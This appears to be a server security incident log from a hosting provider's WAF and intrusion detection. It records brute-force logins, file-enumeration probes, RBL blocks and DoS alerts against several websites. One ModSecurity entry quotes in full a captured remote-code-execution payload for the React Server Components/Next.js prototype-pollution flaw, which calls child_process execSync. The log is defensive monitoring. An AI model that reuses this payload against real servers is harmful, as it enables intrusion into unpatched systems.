# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.72.153.110
country_id: 290557
description:
Jun 23 17:11:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.72.153.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 3.252.214.85
country_id: 2963597
domain: auditeccandco.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.252.214.85
country_id: 2963597
domain: auditeccandco.com
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:pjwfvzan||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 17:14:13 +0000] info [cpaneld] 102.54.238.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.252.214.85
country_id: 2963597
domain: auditeccandco.com
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:pjwfvzan||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 3.252.214.85
country_id: 2963597
domain: auditeccandco.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.19||T:APACHE||MV:.env.swp||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 200.31.12.167
country_id: 3686110
description:
200.31.12.167 - - [23/Jun/2026:17:13:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803622&pdata=https%253A%252F%252F24heureinfo.tg%252Feconomie%252Ftogo-fabrice-sawegnon-aux-jeunes-entrepreneurs-croyez-en-vous%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782234817 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/economie/togo-fabrice-sawegnon-aux-jeunes-entrepreneurs-croyez-en-vous/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:200.31.12.167


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.252.214.85
country_id: 2963597
description:
Denial of Service (DoS) attack was discovered from 3.252.214.85: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.252.214.85
country_id: 2963597
domain: auditeccandco.com
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:pjwfvzan||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 3.252.214.85
country_id: 2963597
domain: auditeccandco.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.19||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.101.92.130
country_id: 6251999
description:
[2026-06-23 17:14:44 +0000] info [webmaild] 87.101.92.130 - lnambouri@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.220.100.245
country_id: 2921044
domain: c2ie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.13.7.239
country_id: 1814991
description:
Jun 23 17:18:30 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.13.7.239 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 41.207.184.180
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:template-part {\"slug\":\"header\",\"theme\":\"fse-church\",\"tagname\":\"header\"} /-->\n\n<!-- wp:group {\"metadata\":{\"patternname\":\"fse-church/header-banner\",\"name\":\"header banner\",\"categories\":[\"fse-church\",\"header banner\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 77.25.22.97
country_id: 2921044
description:
77.25.22.97 - - [23/Jun/2026:17:21:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278660&pdata=https%253A%252F%252Fwebmail.techinoov.free.netmaster.tg%252F%253Flocale%253Dms&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782235271 HTTP/2.0" 302 0 webmail.techinoov.free.netmaster.tg "https://webmail.techinoov.free.netmaster.tg/?locale=ms" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:77.25.22.97


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 15.152.156.184
country_id: 1861060
domain: cafeit.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:cafeitadm||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 15.152.156.184
country_id: 1861060
domain: cafeit.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:cafeitadm||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.97.147.189
country_id: 6252001
description:
[2026-06-23 17:25:11 +0000] info [cpaneld] 68.97.147.189 - sproca "GET /login/?login_only=1&user=sproca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sproca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.204.181
country_id: 6252001
description:
[2026-06-23 17:25:15 +0000] info [cpaneld] 172.59.204.181 - sprocatg "GET /login/?login_only=1&user=sprocatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sprocatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.221.179.57
country_id: 6252001
description:
[2026-06-23 17:25:22 +0000] info [cpaneld] 97.221.179.57 - spro "GET /login/?login_only=1&user=spro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user spro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.132.110.124
country_id: 6252001
description:
[2026-06-23 17:25:07 +0000] info [cpaneld] 35.132.110.124 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.115.116.11
country_id: 6252001
description:
[2026-06-23 17:25:17 +0000] info [cpaneld] 24.115.116.11 - sproc "GET /login/?login_only=1&user=sproc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sproc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.37.42.118
country_id: 6252001
description:
[2026-06-23 17:25:26 +0000] info [cpaneld] 136.37.42.118 - spr "GET /login/?login_only=1&user=spr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user spr (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [23/Jun/2026:17:26:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658501&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782235581 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77350257
name: IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2
abuser: 102.64.170.217
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2||MVN:ARGS:shortcode||MV:[embed]https://youtu.be/hZtn3XSl4zE[/embed]||WPU:direct7tv||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.140.82.157
country_id: 6252001
description:
[2026-06-23 17:25:30 +0000] info [cpaneld] 69.140.82.157 - sp "GET /login/?login_only=1&user=sp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sp (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [23/Jun/2026:17:26:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132634&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782235574 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-06-23 17:28:09 dovecot_login authenticator failed for H=([122.55.75.218]) [65.20.138.3]:49714: 535 Incorrect authentication data (set_id=dkwassi@otr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.145.56.3
country_id: 1814991
description:
2026-06-23 17:28:24 dovecot_login authenticator failed for H=([27.24.141.122]) [61.145.56.3]:37005: 535 Incorrect authentication data (set_id=dkwassi)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.204.62.175
country_id: 1269750
domain: app.cinema.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:cinemafreenetmas||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-23 17:31:13 +0000] info [webmaild] 196.171.46.177 - gilbert.kakabiti@togointerim.net "GET /cpsess9852327739/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.176.182.12
country_id: 3469034
description:
Jun 23 17:32:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.176.182.12 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 17:32:29 +0000] info [cpaneld] 102.54.238.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.6.41.4
country_id: 1835841
description:
Jun 23 17:32:45 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.6.41.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-06-23 17:36:11 dovecot_login authenticator failed for H=([220.77.214.59]) [103.147.248.23]:36986: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-23 17:36:40 +0000] info [cpaneld] 196.171.46.177 NEW togoinrdceh:SBICCNSORjqzvhO6 address=196.171.46.177,app=cpaneld,creator=togoinrdceh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - fagbemedji@togointerim.net [06/23/2026:17:37:29 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: fagbemedji@togointerim.net


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.123.181.5
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/crise-malienne-le-togo-dispose-a-accompagner-le-mali-jusquau-retour-de-lordre-constitutionnel HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [23/Jun/2026:17:39:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776474&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782236351 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [23/Jun/2026:17:39:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908574&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782236352 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.55.157
country_id: 3017382
description:
Jun 23 17:39:48 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.55.157 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 17:40:51 +0000] info [cpaneld] 102.54.238.57 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.14.38
country_id: 2363686
description:
[2026-06-23 17:40:42 +0000] info [cpaneld] 196.171.14.38 NEW sbkrhjex:bOPcs314oJqW9UW4 address=196.171.14.38,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:sbkrhjex:_3M2GjHv0EXsF1EO:create_user_session,possessed=0


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 3190538
description:
Jun 23 17:42:12 ns5 pure-ftpd[3448680]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 130.12.182.67
country_id: 3190538
description:
Jun 23 17:42:16 ns5 pure-ftpd[3448691]: (?@130.12.182.67) [WARNING] Authentication failed for user [rxs0ibju8p]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-41.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.140
country_id: 1880251
description:
47.128.121.140 - - [23/Jun/2026:17:42:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13210562&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Freaction-du-ministre%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782236549 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/reaction-du-ministre/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.140


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.16.188.44
country_id: 1814991
description:
Jun 23 17:42:47 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.16.188.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.184.85.167
country_id: 3469034
description:
Jun 23 17:42:59 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.184.85.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.89.208.174
country_id: 1605651
description:
Jun 23 17:42:32 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.89.208.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.22.48.19
country_id: 2017370
description:
Jun 23 17:43:10 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.22.48.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.239.84.130
country_id: 2017370
description:
Jun 23 17:43:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.239.84.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.55.122.202
country_id: 294640
description:
Jun 23 17:43:51 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.55.122.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.47.25.139
country_id: 1880251
description:
Jun 23 17:44:14 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.47.25.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.184.85.167
country_id: 3469034
description:
Jun 23 17:43:34 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.184.85.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.13.7.239
country_id: 1814991
description:
Jun 23 17:43:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.13.7.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 23 17:44:19 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.184.85.167
country_id: 3469034
description:
Jun 23 17:44:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.184.85.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.55.122.202
country_id: 294640
description:
Jun 23 17:44:39 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.55.122.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 23 17:44:27 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 23 17:45:59 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.4.65.37
country_id: 1814991
description:
Jun 23 17:45:31 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.4.65.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77316904
name: IM360 WAF: Track IP which is in the web-spammers RBL
abuser: 45.140.249.61
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Track IP which is in the web-spammers RBL||Rules:r33309||MV:17-45.45.140.249.61||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 23 17:46:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 17:46:27 +0000] info [cpaneld] 13.222.202.238 - aogodmm "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.251.73
country_id: 1269750
description:
Jun 23 17:46:56 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.181.152.73
country_id: 2017370
description:
[2026-06-23 17:47:16 +0000] info [cpaneld] 94.181.152.73 - anadebfreenetmas "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.74.94.7
country_id: 2300660
description:
2026-06-23 17:47:56 H=([41.74.94.7]) [41.74.94.7]:57494 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 202.162.204.223
country_id: 1643084
description:
202.162.204.223 - - [23/Jun/2026:17:48:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673370&pdata=https%253A%252F%252Fucao-uut.tg%252Fadmissions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782236889 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/admissions/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:202.162.204.223


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 23 17:48:22 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.4.65.37
country_id: 1814991
description:
Jun 23 17:47:42 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.4.65.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 23 17:48:43 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 102.16.70.90
country_id: 1062947
description:
Denial of Service (DoS) attack was discovered from 102.16.70.90: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.234.175
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.147.234.175||TA:45.147.234.175||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.20.58.124
country_id: 798544
description:
Jun 23 17:49:36 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.20.58.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.5
country_id: 953987
description:
Jun 23 17:50:03 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.5 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [23/Jun/2026:17:53:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593426&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782237210 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [23/Jun/2026:17:53:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052754&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782237214 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.45.140
country_id: 2363686
description:
2026-06-23 17:54:16 dovecot_plain authenticator failed for H=([172.17.5.24]) [196.170.45.140]:53397: 535 Incorrect authentication data (set_id=gtondja@wages.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 65.1.148.25
country_id: 1269750
domain: sahamtg.com
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:sahamtg||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.6.41.4
country_id: 1835841
description:
Jun 23 17:55:21 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.6.41.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 23 17:55:20 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.6.41.4
country_id: 1835841
description:
Jun 23 17:55:55 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.6.41.4 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - dsi@wages.tg [06/23/2026:17:56:42 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: dsi@wages.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.161.82.24
country_id: 286963
domain: togodailynews.tg
description:
